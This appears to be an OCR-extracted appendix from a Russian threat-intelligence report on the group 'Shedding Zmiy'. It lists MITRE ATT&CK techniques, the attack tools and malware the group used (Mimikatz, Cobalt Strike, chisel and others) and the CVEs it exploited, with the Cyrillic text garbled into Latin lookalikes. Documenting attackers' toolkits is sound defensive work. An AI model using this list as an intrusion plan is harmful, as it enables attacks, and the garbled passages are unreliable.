T1036.004 - Masquerade Task or Service

Credential Access T1558 - Steal or Forge Kerberos Tickets

T1021.001 - Remote Services: Remote Desktop Protocol

Lateral movement

T1021.002 - SMB/Windows Admin Shares

Command and Control T1090.002 - External Proxy

Kenc 7

TaKkTUKa TexHUKa

Initial Access T1190 - Exploit Public-Facing Application



T1059.004 - Unix Shell

Execution
T1059 - Command and Scripting Interpreter
T1574.006 - Dynamic Linker Hijacking
Persistence T1543.002 - Systemd Service

T1078.002 - Domain Accounts
Privilege Escalation ~ T1548.001 - Setuid and Setgid
T1070.002 - Clear Linux or Mac System Logs
Defense Evasion
T1564.010 - Process Argument Spoofing
Lateral movement T1021.004 - SSH
T1552.004 - Private Keys
Credential Access
T1110 - Brute Force
Discovery T1046 - Network Service Discovery
T1090 - Proxy

Command and Control T1105 - Ingress Tool Transfer

T1071.001 - Web Protocols

NMpunoxeHue 4: Ucnonb3yeMble UHCTPYMEHTbI

B TeueHune nepuoaa Hawero HabnoaeHna 3a akTMBHOCTLIO Shedding Zmiy, Mbl BUAENM, KaK OHM,
nomMumo BpeaoHocHoro MO, ncnonb3oBanu A0NONHUTENbHBIE UHCTPYMEHTLI. X HaBop OT aTaku K aTake
WHOraa npeTtepneBast 3Ha4YMTENbHbIE UBMEHEHUA:



Privilege Escalation:

¢ PrintNightmare;
e WerTrigger.

Credential Dumping:

¢ Mimikatz;
e ProcDump;
¢ Rubeus.

Discovery:

SoftPerfect Network Scanner;
e nmap;

ADRecon;

PowerSploit;

e fscan;
e arp-scanner

Lateral Movement:

Psexec;

RemCom;

pypsrp;
winrm-fs;

ssh-snake

Command and Control:

chisel;

resocks;

gsocket;

ngrok;

revsocks;

neoregeorg
Exfiltration:
e MEGASync

PenTest/RedTeam frameworks:

o Metasploit;
e Sliver;
o Cobalt Strike.



Malware:

Coblnt;

Ekipa RAT;
DarkGate;
SystemBC;
Bulldog Backdoor;

FaceFish;

XDHijack loader;

Nim loader;
BADSTATE framework.

MpunoxeHue 5: dkcnnyaTupyembie yA3BUMOCTH

Ha ocHose nHdopmaLlmm, NonyYeHHon HamMmu Npu paccneaoBaHn MHUMAEHTOB, a Takke No AaHHbIM
Hawero Threat Intelligence, Shedding Zmiy B cBOMX onepauuax aKCNIyaTupyroT creayoLyume
yA3BUMOCTH:

e YA3BUMOCTb Aecepuanusaumu HeHageXHbIX AaHHbiX B napametpe VIEWSTATE B cpene
ASP.NET

CVE-2021-1675 - Windows Print Spooler Remote Code Execution Vulnerability (PrintNightmare);
CVE-2021-4034 - Local Privelege Escalation;

CVE-2021-34473 - Microsoft Exchange Server Remote Code Execution Vulnerability (ProxyShell);
CVE-2021-44228/CVE-2021-45046/CVE-2021-45105 - LOG4j;

CVE-2022-27925, CVE-2022-37042, CVE-2022-41352 - yaszsumocTu B Zimbra Collaboration Suite;

CVE-2022-34721 — Windows Internet Key Exchange (IKE) Protocol Extensions Remote Code
Execution Vulnerability;

CVE-2022-41080/CVE-2022-41082 - OWASSRF;

CVE-2023-20198 — Cisco Authentication Bypass/RCE;

CVE-2023-22527 — Atlassian Confluence Data Center and Server Template Injection Vulnerability;
CVE-2023-25157 — GeoServer SQL Injection;

CVE-2023-34362 — MOVEit Transfer SQL Injection;

CVE-2023-36745 - Microsoft Exchange Server Remote Code Execution Vulnerability;
CVE-2023-46604 - Apache ActiveMQ Vulnerability;

CVE-2024-23897 - Jenkins Arbitrary File Leak Vulnerability;

CVE-2024-27198-RCE - JetBrains TeamCity Multiple Authentication Bypass Vulnerabilities.



